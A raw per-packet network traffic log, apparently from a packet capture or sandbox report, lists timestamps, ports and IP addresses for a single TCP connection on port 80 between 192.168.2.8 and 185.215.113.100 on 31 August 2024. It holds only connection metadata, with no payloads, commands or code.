Aug 31, 2024 22:05:20.879935980 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879945993 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879957914 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879968882 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879980087 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879982948 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879991055 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.880001068 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.880008936 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.880012035 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.880023956 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.880033970 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.880045891 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.880050898 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.880064964 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.880084038 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.880918026 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.880929947 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.880949974 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.880961895 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.880970001 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.880974054 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.880985975 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.880990028 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.880997896 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881020069 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881033897 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881057978 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881068945 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881078959 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881091118 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881098032 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881131887 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881453991 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881464958 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881475925 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881486893 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881501913 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881509066 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881520987 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881530046 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881531954 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881542921 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881548882 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881560087 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881572008 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881577015 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881584883 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881603003 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881620884 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881678104 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881690025 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881700993 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881711960 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881719112 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881722927 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881733894 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881751060 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881752014 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881772995 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881784916 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881787062 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881793976 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881795883 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881808043 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881819010 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881829023 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881860018 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881933928 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881944895 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881956100 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881967068 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881973982 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.881977081 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881987095 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.881997108 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882008076 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882008076 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882019997 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882030964 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882035971 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882038116 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882050037 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882059097 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882072926 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882082939 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882086992 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882096052 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882107019 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882112980 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882128954 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882133007 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882139921 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882150888 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882158041 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882160902 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882172108 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882184029 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882184029 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882200956 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882230043 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882307053 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882318020 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882328033 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882345915 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882355928 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882356882 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882368088 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882374048 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882380009 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882402897 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882421017 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882427931 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882431030 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882441998 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882456064 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882467985 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882467985 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882477999 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882486105 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882488966 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882499933 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882510900 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882517099 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882529974 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882541895 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882550955 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882558107 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882561922 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882575035 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882575989 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882586956 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882594109 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882599115 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882611990 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882622957 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882647991 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882672071 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882688046 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882700920 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882719040 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882740021 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882746935 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882759094 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882769108 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882781029 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882790089 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882792950 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882807016 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882839918 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882884979 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882894993 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882906914 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882922888 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882927895 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882934093 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882945061 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882951021 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.882956028 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882966042 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.882982969 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883011103 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883030891 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883043051 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883052111 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883064032 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883064985 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883073092 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883088112 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883100986 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883105993 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883116961 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883126974 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883135080 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883136988 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883147001 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883156061 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883157015 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883167028 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883167982 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883177996 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883188963 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883198023 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883199930 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883204937 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883210897 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883222103 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883234024 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883239985 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883270025 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883281946 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883838892 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883850098 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883861065 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883887053 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883894920 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883903980 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883912086 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883923054 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883933067 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883935928 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.883958101 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.883987904 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884005070 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884016037 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884026051 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884037018 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884047031 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884056091 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884062052 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884073973 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884088039 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884100914 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884130955 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884150028 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884161949 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884171963 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884181976 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884193897 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884193897 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884206057 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884217024 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884221077 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884228945 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884243011 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884264946 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884294987 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884305954 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884316921 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884327888 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884339094 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884341002 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884350061 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884356976 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884361982 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884375095 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884394884 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884407043 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884407997 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884419918 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884433031 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884435892 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884447098 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884459019 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884462118 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884470940 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884489059 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884501934 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884504080 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884504080 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884526968 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884543896 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884548903 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884551048 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884555101 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884555101 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884583950 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884598017 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884601116 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884609938 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884622097 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884629011 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884658098 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884733915 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884753942 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884767056 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884776115 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884778023 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884789944 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884799957 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884808064 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884812117 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.884838104 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.884855986 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.885910034 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.885921955 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.885941029 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.885951996 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.885962963 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.885973930 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.885976076 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.885987043 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.885998011 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886009932 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886029005 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886045933 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886116028 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886127949 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886140108 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886153936 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886164904 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886168003 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886176109 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886187077 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886204004 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886204004 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886215925 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886223078 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886240959 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886250019 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886261940 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886274099 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886284113 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886290073 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886295080 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886307001 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886317015 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886317968 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886337996 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886343956 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886349916 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886357069 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886362076 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886373997 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886389971 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886393070 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886400938 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886410952 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886418104 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886425018 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886434078 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886451006 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886473894 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886495113 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886506081 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886516094 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886527061 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886535883 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886563063 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.886622906 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886634111 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886643887 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.886655092 CEST	80	49704	185.215.113.100	192.168.2.8
